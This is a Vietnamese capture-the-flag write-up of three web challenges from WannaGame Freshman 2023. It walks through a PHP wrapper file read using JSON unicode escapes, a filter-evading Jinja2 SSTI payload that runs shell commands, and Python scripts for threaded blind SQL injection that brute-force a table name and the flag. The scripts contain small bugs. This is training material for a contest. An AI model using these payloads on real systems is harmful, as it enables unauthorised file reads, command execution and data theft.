WannaGame Freshman 2023
WEB: Warmup PHP
Challenge
Let's get started. Try to read flag at root directory.
http://45.122.249.68:20021
<?php
error_reporting(0);
show_source(__FILE__);
function check_valid($str)
{
$blacklist = ['php', 'file', 'glob', 'data', 'http', 'zip', 'zlib', 'phar', 'W1'];
$pattern = '/' . implode('|', $blacklist) . '/i';
if (preg_match($pattern, $str, $matches)) {
return false;
}
return true;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if ($json === null && json_last_error() !== JSON_ERROR_NONE) {
header('Content-Type: application/json');
echo json_encode(['error' => 'Invalid JSON']);
exit;
}
if (isset($json) && isset($json['page']) && check_valid($body)) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content) {
$content = "Not found";
} else {
if (!check_valid($content)) {
$content = "Invalid content";
}
}
} else {
$content = "Invalid request";
}
header('Content-Type: application/json');
echo json_encode(['content' => $content]);
}
Server sẽ lấy input từ POST
request gửi đến, và gọi hàm file_get_contents
. Ta thử đọc file /flag
Request: {"page":"/flag"}
---------
Response: {"content":"Invalid content"}
Vì content của file /flag
có chứa W1
nên cần phải encode content của file để có thể in ra thành công. Trong quá trình reserach thì mình có tìm ra PHP Wrapper có thể encode nội dung của file như sau
php://filter/convert.base64-encode/resource=/flag
Tuy nhiên php
đã bị filter. JSON có escape character đặc biệt là \uXXXX
là unicode của UTF-16. Do PHP không có nên khi kiểm tra check_valid($body)
sẽ không nhận ra điều gì bất thường. Qua hàm json_decode()
nó sẽ được decode và đọc.
Request: {"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/flag"}
---------
Response: {"content":"VzF7dzNsYzBtM193M2JfdzRycmowcnN9Cg=="}
Decode basễ và ra flag.
FLAG: W1{w3lc0m3_w3b_w4rrj0rs}
WEB: NAMENAME
Challenge
I tried coding a website to say hello to everyone, please try and feel it
http://45.122.249.68:20029/
Ctrl U
xem src thấy có đường dẫn đến /wannaw1n
. Web sẽ trỏ đến /wannaw1n?c=hacker
và trả về
Hello hacker
Đây có thể là render template nên mình nghĩ đến SSTI. Sau một hồi thử thì mình xác định được đây là từ Python/Jinja2
Đây là payload ban đầu mình dùng class Popen
để sử dụng lệnh cat
đọc file flag
{{"".__class__.__mro__"[1].__subclasses__()[279]("cat flag.txt",shell=1,stdout=-1).communicate()}}
Tuy nhiên trong quá trình thử thì có phát hiện ra server đã filter một số kí tự như là .
, [
, ]
, f
, \
. Do đó cần chỉnh sửa một chút về payload, và chuyển sang read toàn bộ các file trong directory hiện tại với cat *
hoặc có thể dùng cat *lag*
, cat ?lag????
vì chữ flag không hoàn toàn bị filter. Chi tiết có thể xem qua đây
{{""|attr("__class__")|attr("__mro__")|attr("__getitem__")(1)|attr("__subclasses__")()|attr("__getitem__")(279)("cat+*",shell=1,stdout=-1)|attr("communicate")()}}
FLAG: W1{U_are_master_in_SSTI}
WEB: Solite
Server sử dụng SQLite3, tạo 2 tables API và flag.
db.serialize(() => {
db.run('CREATE TABLE API (id INTEGER PRIMARY KEY, joke TEXT)');
const stmt = db.prepare('INSERT INTO API (id, joke) VALUES (?, ?)');
const dataToInsert = [
{ id: 1, joke: "What did the bartender say to the jumper cables? You better not try to start anything."},
...
];
dataToInsert.forEach((data) => {
stmt.run(data.id, data.joke);
});
stmt.finalize();
const flagTable = `flag_${uuid.v4().replace(/-/g, '_')}`;
console.log(`flagTable: ${flagTable}`);
db.run(`CREATE TABLE IF NOT EXISTS ${flagTable} (flag TEXT)`);
db.run(`INSERT INTO ${flagTable} (flag) VALUES ('${flag}')`);
})
Tuy nhiên table flag được sinh ngẫu nhiên nên ta cần bruteforce để biết tên của table này.
Khi GET đến /search
với name
, server sẽ đọc từ table API và trả về câu joke với id
là value của name -> Có thể SQLi ở đây.
app.get('/search', (req, res) => {
const { name } = req.query;
const Filterduidui = /(union|or|substring|substrs|if|case|=|when|then|join|load_extension|likely|unhex|\|\|)/i;
if (!name) {
return res.redirect('/search?name=1');
}
if (Filterduidui.test(name)) {
return res.status(400).send({ err: 'chuc mung ban da giai duoc challenge nay' });
}
if (!name) {
return res.status(400).send({ err: 'Try with name param' });
}
if (name.length > 6) {
return res.status(400).send({ err: 'U r hacker?' });
}
let query = `SELECT * FROM API WHERE id LIKE '%${(name)}%'`;
db.all(`SELECT * FROM API WHERE id LIKE '%${name}%'`, (err, rows) => {
if (err) {
console.error(err.message);
return res.status(500).send('Hey, what r u doing??? i will call police or don\'t hack this machine');
}
return res.send(rows);
});
Server sẽ kiểm tra length của ?name
, ta có thể bypass bằng cách truyền vào array object thay vì chuỗi thông thường. ?name[]=
là array khi truyền vào có 1 phần tử nên length sẽ chỉ trả về 1
.
Ban đầu mình nghĩ đây là bài SQLi bình thường, tìm cách để server trả về flag từ table. Nhưng do filter đã chặn UNION
và ||
nên mình nghĩ tới hướng blind sql. Đầu tiên là cần có được tên của flag table. Table được sinh ngẫu nhiên với uuid.v4()
, đoạn này chỉ bao gồm các kí tự [a-f0-9]
Table sẽ có tên dạng flag_????????_????_????_????_????????????
trong đó ?
là các kí tự cần tìm. Giờ chỉ cần bruteforce
Sau khi chạy xong sẽ ra table là flag_c1abd148_acae_40be_a953_eae333f90da0
. Ta lại bruteforce tiếp để tìm flag
import requests
from threading import Thread
"""
Payload: ?name[]=1' AND (SELECT hex(tbl_name) FROM sqlite_master WHERE type LIKE 'table' and tbl_name like '{}%' limit 1 offset 0) > '0';--
- {} is table name
- Server will return [] if table name is not exist
"""
URL = "http://45.122.249.68:20020/search?name[]=1'+AND+(SELECT+hex(tbl_name)+FROM+sqlite_master+WHERE+type+LIKE+'table'+and+tbl_name+like+'{}%25'+limit+1+offset+0)+>+'0'%3b--"
CHARS = '09123456789abcdef'
table = ['f', 'l', 'a', 'g', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_']
def check(index):
currentTable = [*table]
for char in chars:
currentTable[index] = char
r = requests.get(url=URL.format(''.join(currentTable)))
if (r.text != "[]"):
table[index] = char
print(table)
return
if __name__ == "__main__":
for i in range(5, len(table)):
# Skip default '_' character
if (i in [13, 18, 23, 28]): continue
Thread(target=lambda: check(i)).start()
import requests
from threading import Thread
"""
URL_LENGTH_CHECK: ?name[]=1' AND (SELECT length(flag) FROM flag_c1abd148_acae_40be_a953_eae333f90da0) > {};--
- {} is flag length
URL_FLAG_CHECK: ?name[]=1' AND (SELECT hex(flag) FROM flag_c1abd148_acae_40be_a953_eae333f90da0 WHERE flag LIKE '{}%') > '0';--
- {} is flag
- Server will return [] if something wrong
"""
URL_LENGTH_CHECK = "http://45.122.249.68:20020/search?name[]=1'+AND+(SELECT+length(flag)+FROM+flag_c1abd148_acae_40be_a953_eae333f90da0)+>+{}%3b--"
URL_FLAG_CHECK = "http://45.122.249.68:20020/search?name[]=1'+AND+(SELECT+hex(flag)+FROM+flag_c1abd148_acae_40be_a953_eae333f90da0+WHERE+flag+LIKE+'{}%25')+>+'0'%3b--"
CHARS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@$^*()_+{}[];':\",./<>?\\|`~"
flag = []
flagLength = 0
def getFlagLength():
i = 5
while True:
r = requests.get(url=URL_LENGTH_CHECK.format(i))
if (r.text == "[]"):
return i
i += 1
def check(index):
currentFlag = [*flag]
for char in chars:
currentFlag[index] = char
r = requests.get(url=URL_FLAG_CHECK.format(''.join(currentFlag)))
if (r.text != "[]"):
flag[index] = char
print(flag)
return
if __name__ == "__main__":
flagLength = getFlagLength()
flag = ['_'] * flagLength
flag[0] = 'W'
flag[1] = '1'
flag[2] = '{'
flag[-1] = '}'
for i in range(3, len(flag) - 1):
Thread(target=lambda: check(i)).start()
FLAG: W1{i_th1nk_u_r_so_lite^_^}
Tóm tắt lại giải Freshman năm nay rất là chất lượng. Không chỉ từ đề thi mà các anh chị cũng rất thân thiện, tận tình với đứa như em 😦. Mặc dù chỉ solve được 2/5 bài web trong thời gian 8 tiếng, hơi tiếc là bài Solite mình đã không thể giải quyết nốt trong thời gian còn lại.